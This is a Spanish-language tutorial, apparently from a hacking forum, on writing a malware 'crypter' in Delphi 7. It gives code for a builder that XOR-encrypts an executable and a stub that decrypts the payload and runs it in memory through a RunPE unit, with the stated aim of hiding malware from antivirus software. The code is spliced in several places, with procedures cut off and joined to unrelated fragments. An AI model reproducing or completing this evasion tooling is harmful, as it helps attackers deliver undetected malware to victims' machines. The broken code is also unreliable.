[Titulo] : Creacion de un Crypter [Lenguaje] : Delphi [Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion 0x02 : Creacion del Builder 0x03 : Creacion del Stub 0x04 : Probando el Crypter 0x05 : Creditos
-- =================--------
0x01 : Introduccion
Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7. Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
Empecemos ...
0x02 : Creacion del Builder
Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
Despues agregamos los siguientes elementos al formulario :
* 1 Edit (En Standard) * 2 Botones (En Standard) * 1 OpenDialog (En Dialogs)
El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"
Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".
El formulario les deberia quedar asi :
Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :
Código
procedure TForm1.Button1Click(Sender:TObject);
begin
if OpenDialog1.Executethen// Abrimos el OpenDialog para insertar la ruta
// del archivo a cifrar
begin
Edit1.Text:= OpenDialog1.FileName;// Establecemos el texto de Edit1 con
// la ruta del archivo marcado en el openDialog1
end;
end;
Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :
Código
procedure TForm1.Button2Click(Sender:TObject);
var
codigo:string;// Declaramos la variable "codigo" como string
key:integer;// Declaramos la variable "key" como integer
separador:string;// Declaramos la variable "separador" como string
linea:string;// Declaramos la variable "linea" como string
begin
separador :='-barra-';
// Establecemos el valor que tendra la variable "separador"
key :=123;// Establecemos el valor de la variable "key" como 123
codigo := xor_now(leer_archivo(Edit1.Text), key);
// Leemos el archivo que hay en
// la caja de texto y ciframos con XOR el contenido usando una key
// de las variables "delimitador1,"texto","delimitador2"
end
finally
begin
CloseFile(abriendo_archivo);// Cerramos el archivo desde la variable
// "abriendo_archivo"
end;
Result :=True;// Devolvemos "True" como resultado de la funcion
end;
end
else
begin
Result :=False;// De lo contrario devolvemos "False" como resultado de la
// funcion
end;
end;
end.
// The End ?
Y para terminar la Unit guardenla con el nombre de "tools".
Les deberia quedar algo asi :
Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :
Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.
0x03 : Creacion del Stub
Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :
Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
Una vez creado ponemos el siguiente codigo :
Código
{ uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
// Establecemos la variable "resultado" como la copia de las variables "texto",
// "numero1" y la resta de las variables "numero2" y "numero1"
numero1 := numero2 +Length(separador);
// Establecemos la variable "numero1" como
// la suma de la variable "numero2" y la longitud de ña variable "separador"
numero2 := PosEx(separador, texto, numero1);// Calculamos la posicion de de
// "separador" en el variable "texto"
end;
end;
Ahora agregamos el siguiente codigo entre el begin principal.
El codigo :
Código
var
todo:string;// Declaramos la variable "todo" como string
codigo:string;// Declaramos la variable "codigo" como string
key:string;// Declaramos la variable "key" como string
datos: otro_array;// Declaramos la variable "datos" como otro_array
begin
todo := leer_datos(paramstr(0),'-acatoy1-','-acatoy2-');// Leemos los datos
// del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
regex2(todo,'-barra-', datos);
// Separamos los delimitadores que estan separados
// por "-barra-" en la variable "todo"
key := datos[2];
// Establecemos como "key" la segunda posicion del array "datos"
codigo := datos[1];
// Establecemos como "codigo" la primera posicion del array
// "datos"
codigo := xor_now(codigo,StrToInt(key));// Establecemos como "codigo"
// la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
// guardamos en la variable "codigo"
ExecuteFromMem(paramstr(0),'',Pchar(codigo));
// Ejecutamos el codig en memoria
// usando la funcion "ExecuteFromMem"
end.
Una imagen de como deberia quedarles el codigo :
Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.
0x04 : Probando el Crypter
Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.